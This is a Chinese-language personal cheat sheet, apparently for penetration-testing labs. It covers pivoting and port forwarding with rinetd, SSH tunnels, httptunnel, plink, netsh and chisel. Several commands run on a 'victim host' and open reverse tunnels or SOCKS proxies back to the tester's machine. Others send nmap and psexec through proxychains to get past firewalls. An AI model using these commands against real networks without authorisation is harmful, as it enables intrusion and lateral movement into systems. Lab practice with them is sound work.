操作记录贴
Linux查看特定端口占用情况:ss -antp | grep "[端口号]"
Linux/Unix下进行转发
RINETD
项目地址:传送门
以本机作为跳板,别的机器访问本机特定端口就等一访问另一远程主机的特定端口
编译 + 安装
# 解压后进入目录:
./configure
make
make install
# 手册
man rinetd
配置(rinetd.conf)
......
#
# forwarding rules come here
#
# you may specify allow and deny rules after a specific forwarding rule
# to apply to only that forwarding rule
#
# bindadress bindport connectaddress connectport options...
# 0.0.0.0 80 192.168.1.2 80
# ::1 80 192.168.1.2 80
# 0.0.0.0 80 fe80::1 80
# 127.0.0.1 4000 127.0.0.1 3000
# 127.0.0.1 4000/udp 127.0.0.1 22 [timeout=1200]
# 127.0.0.1 8000/udp 192.168.1.2 8000/udp
0.0.0.0 [本地端口] [远程ip] [远程端口]
......
运行
rinetd -f -c ./rinetd.conf
SSH远程端口转发
把受害主机的端口转发到本地机器上
命令(受害主机上执行)
ssh -N -R [自己机器ip]:[自己机器端口]:127.0.0.1:[要转发受害机器的端口] [自己机器的用户@自己机器ip]
脚本(模拟情景)
#!/bin/bash
# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X
# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 例程:只允许3389端口的入站流量,不限制出站流量
iptables -A INPUT -p tcp --dport 3389 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
SSH本地端口转发
通过防火墙规则转发,其实就是把受害机器做成了跳板
脚本(模拟情景,运行在受害主机上)
#!/bin/bash
# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X
# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 例程:通过本机转发3389,22,8080端口
iptables -A INPUT -p tcp --dport 3389 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
使用(本地执行)
sudo ssh -N -L 0.0.0.0:[端口]:[不可直达主机ip]:[端口(和前面一致)] [受害机器用户]@[受害主机ip]
SSH动态端口转发
通过创建一个本地 SOCKS4 应用程序代理用于访问远程主机上的网络连接
命令
ssh -N -D 127.0.0.1:[一个未占用端口] [远程主机用户]@[远程主机ip]
使用
cat /etc/proxychains.conf
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 [上一步的端口]
...
sudo proxychains nmap ......
httptunnel
将远程linux做成跳板
模拟示例
#!/bin/bash
# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X
# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 远程主机只允许80,443,1234端口的入站流量
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 1234 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
本机上安装
apt install httptunnel
远程主机上执行
ssh -L 0.0.0.0:8888:[另一远程主机ip]:[另一远程主机端口] [用户名]@127.0.0.1
hts --forward-port localhost:8888 1234
本机上执行
htc --forward-port 8080 [远程主机]:1234 #1234是远程主机/防火墙开放允许入站的端口
本机上使用
nmap/rdesktop/ssh ..... 127.0.0.1 带上端口号8080 #等于连接另一主机的设定端口
Windows下进行转发
plink.exe
在Windows上将本机端口转发到远程主机上
命令
plink.exe -ssh -l [远程主机登录名] -pw [远程主机登录密码] -R [远程主机ip]:[远程主机端口]:127.0.0.1:[本机端口] [远程主机ip]
#进阶命令
cmd.exe /c echo y | plink.exe ......
NETSH
把Windows主机做成跳板
注意:需要开启IPV6,并且IP HELPER服务开启,并且需要用管理员权限运行命令
命令
# 转发
netsh interface portproxy add v4tov4 listenport=[本地监听端口] listenaddress=[本机非回环地址] connectport=[远程端口] connectaddress=[远程地址]
# 防火墙
netsh advfirewall firewall add rule name="[规则名]" protocol=TCP dir=in localip=[本机非回环地址] localport=[本地监听端口] action=allow
# 检查
netstat -anp TCP | find "[本地监听端口]"
chisel
这个感觉会好用很多
项目地址
操作
# 将Win作为Client,Linux作为Server,进行反向连接,使用Linux上的ProxyChains访问Win的网络
# 其实不管Linux还是Windows哪一个作为服务端还是客户端,命令照搬就是了😅
chisel server -p [端口] --reverse #Linux上
chisel.exe client [Linux IP]:[Linux的端口] R:socks #Win上
#附:正向连接
chisel server -p [端口] #Linux上
chisel.exe client [server IP]:[server 端口] socks #Win上
# 添加此行到:/etc/proxychains4.conf
socks5 127.0.0.1 1080 # 这里的1080端口参照Linux上的输出
## Linux上的输出
./chisel64 server -p 8080 --reverse
2023/04/04 03:54:48 server: Reverse tunnelling enabled
2023/04/04 03:54:48 server: Fingerprint 0nm6NPJkgXFK6NWjiLSSxQB8hG7drgmUqyHzY3IZkXU=
2023/04/04 03:54:48 server: Listening on http://0.0.0.0:8080
2023/04/04 03:56:29 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
## 代理
proxychains [-q(可选)] [nmap/impacket-psexec].....